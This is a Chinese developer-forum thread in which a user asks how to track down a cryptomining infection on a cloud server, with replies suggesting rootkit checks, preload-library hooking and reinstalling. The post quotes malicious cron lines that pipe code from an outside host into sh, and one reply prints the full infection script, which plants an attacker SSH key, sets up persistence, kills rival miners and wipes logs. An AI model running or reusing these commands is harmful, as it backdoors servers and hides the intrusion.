求助~服务器被挖矿程序入侵,如何排查

2018-05-28 09:15:14 +08:00
 diveIntoWork

最近服务器 CPU 占用一直在 75%左右,阿里云盾报警说是有挖矿程序,但是 top 命令没有发现 cpu 占用特别高的进程

top - 09:08:51 up 7 days, 21:20,  0 users,  load average: 6.53, 6.48, 6.45
Tasks: 181 total,   1 running, 179 sleeping,   0 stopped,   1 zombie
Cpu(s): 77.8%us,  6.1%sy,  0.0%ni, 16.1%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:  32946868k total,  7645184k used, 25301684k free,   722592k buffers
Swap:        0k total,        0k used,        0k free,  4216620k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
22948 root      20   0   616    4    0 R    1  0.0   0:00.46 top
    1 root      20   0  117m 5996 3888 S    1  0.0  21:17.74 /sbin/init
 1767 root      20   0  130m  16m  12m S    1  0.1  43:42.96 /usr/local/aegis/aegis_client/aegis_10_41/AliYunDun
 1117 root      20   0 34336 4736 4200 S    0  0.0   7:24.21 /usr/local/aegis/aegis_update/AliYunDunUpdate
26901 root      20   0 2712m 567m  22m S    0  1.8  35:07.66 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs -D
 1277 root      20   0 23196 2060 1524 S    0  0.0   6:24.72 /usr/local/cloudmonitor/wrapper/bin/./wrapper /usr/local/cloudmonitor/wrapper/bin/../conf/wrapper.conf wrapper.syslog.ident=cloudmonitor wrap
 7741 root      20   0 6130m 950m  29m S    0  3.0  69:27.14 /root/apps/jdk1.8.0_121/bin/java -cp /root/spark/spark-2.1.4.19-bin-2.7.1/conf/:/root/spark/spark-2.1.4.19-bin-2.7.1/jars/*:/root/hadoop/hado
   42 root      RT   0     0    0    0 S    0  0.0   3:36.15 [migration/7]
   13 root      20   0     0    0    0 S    0  0.0   4:13.37 [ksoftirqd/1]
   12 root      RT   0     0    0    0 S    0  0.0   3:42.04 [migration/1]
   15 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/1:0H]
   16 root      RT   0     0    0    0 S    0  0.0   0:01.70 [watchdog/2]
   17 root      RT   0     0    0    0 S    0  0.0   2:07.48 [migration/2]
    9 root      RT   0     0    0    0 S    0  0.0   1:57.28 [migration/0]
   20 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/2:0H]
   21 root      RT   0     0    0    0 S    0  0.0   0:01.97 [watchdog/3]
   22 root      RT   0     0    0    0 S    0  0.0   6:07.52 [migration/3]
   23 root      20   0     0    0    0 S    0  0.0   5:42.32 [ksoftirqd/3]
   25 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/3:0H]
   26 root      RT   0     0    0    0 S    0  0.0   0:02.08 [watchdog/4]
   27 root      RT   0     0    0    0 S    0  0.0   1:52.24 [migration/4]
   28 root      20   0     0    0    0 S    0  0.0   3:41.09 [ksoftirqd/4]
   30 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/4:0H]
    8 root      20   0     0    0    0 S    0  0.0   0:00.00 [rcu_bh]
   10 root      RT   0     0    0    0 S    0  0.0   0:02.24 [watchdog/0]
   33 root      20   0     0    0    0 S    0  0.0   4:11.14 [ksoftirqd/5]
   32 root      RT   0     0    0    0 S    0  0.0   3:36.46 [migration/5]
   36 root      RT   0     0    0    0 S    0  0.0   0:02.05 [watchdog/6]
   35 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/5:0H]
   38 root      20   0     0    0    0 S    0  0.0   3:39.25 [ksoftirqd/6]
   40 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/6:0H]
   41 root      RT   0     0    0    0 S    0  0.0   0:01.97 [watchdog/7]
   37 root      RT   0     0    0    0 S    0  0.0   1:52.30 [migration/6]
   43 root      20   0     0    0    0 S    0  0.0   4:06.41 [ksoftirqd/7]
   45 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/7:0H]
   46 root      20   0     0    0    0 S    0  0.0   0:00.00 [kdevtmpfs]
   47 root       0 -20     0    0    0 S    0  0.0   0:00.00 [netns]
   48 root       0 -20     0    0    0 S    0  0.0   0:00.00 [perf]
   
   

然后,在 /var/spool/crontab 目录下发现一个定时脚本:

   REDIS0007ú      redis-ver^F3.2.11ú
redis-bitsÀ@ú^EctimeÂI{»Zú^Hused-memÂxÖ^L^@þ^@û^D^@^@^HJsDhtGeK@I
*/5 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh
^@^HFQysiMRk4
*/2 * * * * curl http://cdn.namunil.com/sh.php|sh
^@^FdseINi8
*/2 * * * * wget -O- http://cdn.namunil.com/sh.php|sh
^@^HJPYAqMif@F
*/5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh
ÿÖX*µTAÄg

是挖矿的脚本无疑了,但接下来应该怎么排查呢,试了一下挖矿脚本下载不下来。cpu 还是一直 75%左右。

12662 次点击
所在节点    程序员
36 条回复
Mrun
2018-05-28 09:24:08 +08:00
排查啥啊,这种情况就是备份好数据,全盘重做系统
nealwx
2018-05-28 09:27:25 +08:00
top -b -n 1 看一下,你贴出来的好像不全
然后再装个 htop 应该就可以明显的看出来了
d0m2o08
2018-05-28 09:41:10 +08:00
egrep 'curl|wget' -R /
先把下载挖光脚本的脚本找出来
top 或者 htop 查看那个进程占用高 干掉
根据找出来的可以脚本路径 在查找有没有可疑的隐藏文件
xhf3894
2018-05-28 09:52:28 +08:00
以前一个测试服务器也中过招,首先找出程序的位置,先打包下载下来,然后删除程序,删除随系统启动的配置,然后是修改密码。
挖矿脚本的原理基本好像是通过扫描 ip,尝试弱密码登录,登录成功之后下载挖矿脚本并执行,而且还会利用服务器查找其他弱密码的 ip。
diveIntoWork
2018-05-28 09:57:38 +08:00
目前的问题是定位不到 cpu 占用高的进程,定时任务我也清空了,目前也查不到有其他的定时任务,比较尴尬
Marzlia
2018-05-28 09:59:24 +08:00
你是不是开放得 redis 得端口,我之前就是开了这个端口,清除掉没必要得端口再去找个教程清除挖矿程序
albertofwb
2018-05-28 10:15:20 +08:00
会不会是这样,挖矿程序做了反侦测,检测到 top 运行的时候自动暂停工作? 哈哈哈哈
diveIntoWork
2018-05-28 10:18:51 +08:00
@albertofwb 不会吧,cpu 突降应该也看得到
lexuskingxx
2018-05-28 10:21:40 +08:00
ssh 登录,不能使用密码登录
dbow
2018-05-28 10:22:31 +08:00
你这个挖矿程序应该是用了隐藏进程技术,ldd /bin/bash 看看是不是有奇怪的 so 文件预加载, 有的话把他们删除掉, 再看 top 就正常了。
einvince
2018-05-28 10:23:13 +08:00
top ps 二进制文件被换了,这两个已经成了启动木马启动命令,从别的机器上拷过来再用
care
2018-05-28 10:24:28 +08:00
命令是不是被替换了呢?
iamsee
2018-05-28 10:26:36 +08:00
zcmxw1
2018-05-28 10:26:43 +08:00
你以 namunil.com 这个为关键字,百度一下,会有几篇文章,跟你类似,你可以参考一下
iamsee
2018-05-28 10:30:01 +08:00
我之前中这招是 redis 密码太弱,他会写 redis,shell payload 全部代码:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
sleep 3
cd /var/tmp || cd /tmp
find . -maxdepth 1 -name ".mxsh0" -type f -mmin +20 -delete
[ -f .mxsh0 ] && exit 0
echo 0 > .mxsh0
trap "rm -rf .mxsh0" EXIT
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
crontab -r 2>/dev/null
rm -rf /var/spool/cron 2>/dev/null
rm -rf /root/.ssh 2>/dev/null
crontab -l 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX" > /root/.ssh/authorized_keys
echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/root
echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/root
echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/crontabs/root
echo "curl -qs cdn.namunil.com/ash.php|sh" > /etc/rc.local
echo "/usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /etc/rc.local
echo "exit 0" >> /etc/rc.local
grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf
grep -q 5.206.225.60 /etc/hosts || echo "5.206.225.60 static.cortins.tk" >> /etc/hosts
rm -rf /tmp/* 2>/dev/null
rm -rf /var/tmp/* 2>/dev/null
rm -rf /etc/root.sh 2>/dev/null
sync && echo 3 > /proc/sys/vm/drop_caches
cat <<EOF> /etc/security/limits.conf
* hard nofile 50000
* soft nofile 50000
root hard nofile 50000
root soft nofile 50000
EOF
iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -s 127.0.0.1 -j ACCEPT 2>/dev/null
ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done
rm -rf /tmp/* 2>/dev/null
rm -rf /var/tmp/* 2>/dev/null
echo 0 > /var/spool/mail/root
echo 0 > /var/log/wtmp
echo 0 > /var/log/secure
echo 0 > /root/.bash_history
sleep 30
exit 0
nine99
2018-05-28 10:34:03 +08:00
有 rookit 的, 常规方法你是发现不了的
diveIntoWork
2018-05-28 10:41:08 +08:00
@dbow 和正常机器对比一下应该没问题
@einvince 看了一下,修改日期是 2016,应该没被替换吧。而且也删不动
dbow
2018-05-28 10:45:47 +08:00
可以再从内核的角度看看, 用 perf top 这个系统性能分析工具, 具体使用方法网上找找。
lucifer4he
2018-05-28 10:46:01 +08:00
可能 ld.so.preload 增加了一个库文件,库 hook 了 readdir 之类的函数,对读取 /proc 文件夹的操作做了过滤,所以客户在使用 top 或者 ps 命令的时候,得到的结果都是被过滤过的结果。搞一下 top,这些命令隐藏下进程容易的很

现在现场还在做一个 coredump 分析下吧
chestnutprog
2018-05-28 12:46:56 +08:00
先拿 RkHunter 查一下 rootkit
http://rkhunter.sourceforge.net/

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/458242

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX